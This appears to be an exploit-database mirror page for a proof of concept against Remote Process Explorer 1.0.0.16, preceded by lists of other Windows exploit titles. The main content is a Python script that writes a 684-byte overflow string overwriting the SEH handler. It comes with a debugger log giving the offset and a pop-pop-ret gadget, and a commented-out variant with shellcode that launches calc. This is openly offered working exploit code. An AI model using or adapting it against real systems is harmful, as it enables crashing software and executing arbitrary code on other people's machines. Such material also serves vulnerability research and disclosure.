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"Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC)"

Author

"Rafael Pedrero"

Platform

windows

Release date

2019-02-01

Release Date Title Type Platform Author
2019-07-17 "MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow" remote windows hyp3rlinx
2019-07-17 "Windows - NtUserSetWindowFNID Win32k User Callback Privilege Escalation (Metasploit)" local windows Metasploit
2019-07-17 "WinMPG iPod Convert 3.0 - 'Register' Denial of Service" dos windows stresser
2019-07-16 "Microsoft Windows 10 < build 17763 - AppXSvc Hard Link Privilege Escalation (Metasploit)" local windows Metasploit
2019-07-16 "DameWare Remote Support 12.0.0.509 - 'Host' Buffer Overflow (SEH)" local windows "Xavi Beltran"
2019-07-16 "R 3.4.4 (Windows 10 x64) - Buffer Overflow SEH (DEP/ASLR Bypass)" local windows blackleitus
2019-07-16 "Microsoft Compiled HTML Help / Uncompiled .chm File - XML External Entity Injection" dos windows hyp3rlinx
2019-07-15 "Streamripper 2.6 - 'Song Pattern' Buffer Overflow" local windows "Andrey Stoykov"
2019-07-15 "Microsoft Windows Remote Desktop - 'BlueKeep' Denial of Service (Metasploit)" dos windows "RAMELLA Sebastien"
2019-07-12 "Microsoft Windows 10.0.17134.648 - HTTP -> SMB NTLM Reflection Leads to Privilege Elevation" local windows "Google Security Research"
2019-07-11 "SNMPc Enterprise Edition 9/10 - Mapping Filename Buffer Overflow" local windows xerubus
2019-07-12 "Microsoft Font Subsetting - DLL Heap Corruption in ComputeFormat4CmapData" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Empty ROS Strings" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - NULL Pointer Dereferences in OpenType Font Handling While Accessing Empty dynarrays" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Multiple Bugs in OpenType Font Handling Related to the _post_ Table" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Out-of-Bounds Read in OpenType Font Handling Due to Undefined FontName Index" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling While Processing CFF Blend DICT Operator" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readStrings" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Unbounded iFD" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow Due to Integer Overflow in readTTCDirectory" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readCharset" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readEncoding" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Incorrect Handling of blendArray" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Interpreter Stack Underflow in OpenType Font Handling Due to Missing CHKUFLOW" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Use of Uninitialized Memory While Freeing Resources in var_loadavar" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack-Based Buffer Overflow in do_set_weight_vector_cube for Large nAxes" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative nAxes" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative cubeStackDepth" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling due to Out-of-Bounds cubeStackDepth" dos windows "Google Security Research"
Release Date Title Type Platform Author
2019-02-19 "Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 - Path Traversal / Cross-Site Scripting" webapps jsp "Rafael Pedrero"
2019-02-19 "XAMPP 5.6.8 - SQL Injection / Persistent Cross-Site Scripting" webapps php "Rafael Pedrero"
2019-02-04 "TaskInfo 8.2.0.280 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-02-04 "SpotAuditor 3.6.7 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-02-04 "River Past Ringtone Converter 2.7.6.1601 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-02-01 "Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "LanHelper 1.74 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "ASPRunner Professional 6.0.766 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "AMAC Address Change 5.4 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-01-30 "Necrosoft DIG 0.4 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-30 "IP-Tools 2.50 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-30 "Advanced File Manager 3.4.1 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2018-12-21 "SQLScan 1.0 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2018-12-18 "MiniShare 1.4.1 - 'HEAD/POST' Remote Buffer Overflow" remote windows "Rafael Pedrero"
2018-11-14 "Advanced Comment System 1.0 - SQL Injection" webapps php "Rafael Pedrero"
2018-10-30 "Microstrategy Web 7 - Cross-Site Scripting / Directory Traversal" webapps jsp "Rafael Pedrero"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46304/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46304/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46304/40770/remote-process-explorer-10016-denial-of-service-seh-overwrite-poc/download/", "exploit_id": "46304", "exploit_description": "\"Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC)\"", "exploit_date": "2019-02-01", "exploit_author": "\"Rafael Pedrero\"", "exploit_type": "dos", "exploit_platform": "windows", "exploit_port": null}
                                            

For full documentation follow the link above

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# Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service (PoC) and SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
# Software Link : http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
# Tested Version: 1.0.0.16
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run rpexplorer.exe
# 2.- copy content rpexplorer_Crash.txt to clipboard (result from this python script)
# 3.- Go to "Add computer" and paste the result in the first textbox and click in Add button.
# 4.- Select "AAAAAAAAA...." computer, right mouse button and Connect and you will see a crash.

'''

Detect:

SEH chain of thread 00000144
Address    SE handler
0114FEC8   78413977
41387741   *** CORRUPT ENTRY ***

EAX 0114FEBC
ECX 0114FEC0 ASCII
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
EDX 41347741
EBX 0116236C
ESP 0114FBF0
EBP 0114FEC0 ASCII
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
ESI 000000D4
EDI 00000000
EIP 00404F48 rpexplor.00404F48
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDC000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1272  Prec NEAR,53  Mask    1 1 0 0 1 0

Log data, item 24
 Address=0BADF00D
 Message=    SEH record (nseh field) at 0x0114fec8 overwritten with normal
pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data
after the handler

Check after script:

SEH chain of thread 00000D04
Address    SE handler
0114FEC8   43434343
42424242   *** CORRUPT ENTRY ***


Log data, item 53
 Address=7E6E5E50
 Message=  0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,ascii
{PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH:
True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)


'''

#!/usr/bin/env python

'''
calc = ("\x31\xC9"                # xor ecx,ecx
        "\x51"                    # push ecx
        "\x68\x63\x61\x6C\x63"    # push 0x636c6163
        "\x54"                    # push dword ptr esp
        "\xB8\xC7\x93\xC2\x77"    # mov eax,0x77c293c7
        "\xFF\xD0")               # call eax
'''

crash = "\x41" * 684 + "BBBB" + "CCCC"
#crash = "\x41" * 684 +  "\xEB\x14\x90\x90" + "\x50\x5e\x6e\x7e" + "\x90" * 24 + calc + "A"*(1000 - 32)
f = open ("rpexplorer_Crash.txt", "w")
f.write(crash)
f.close()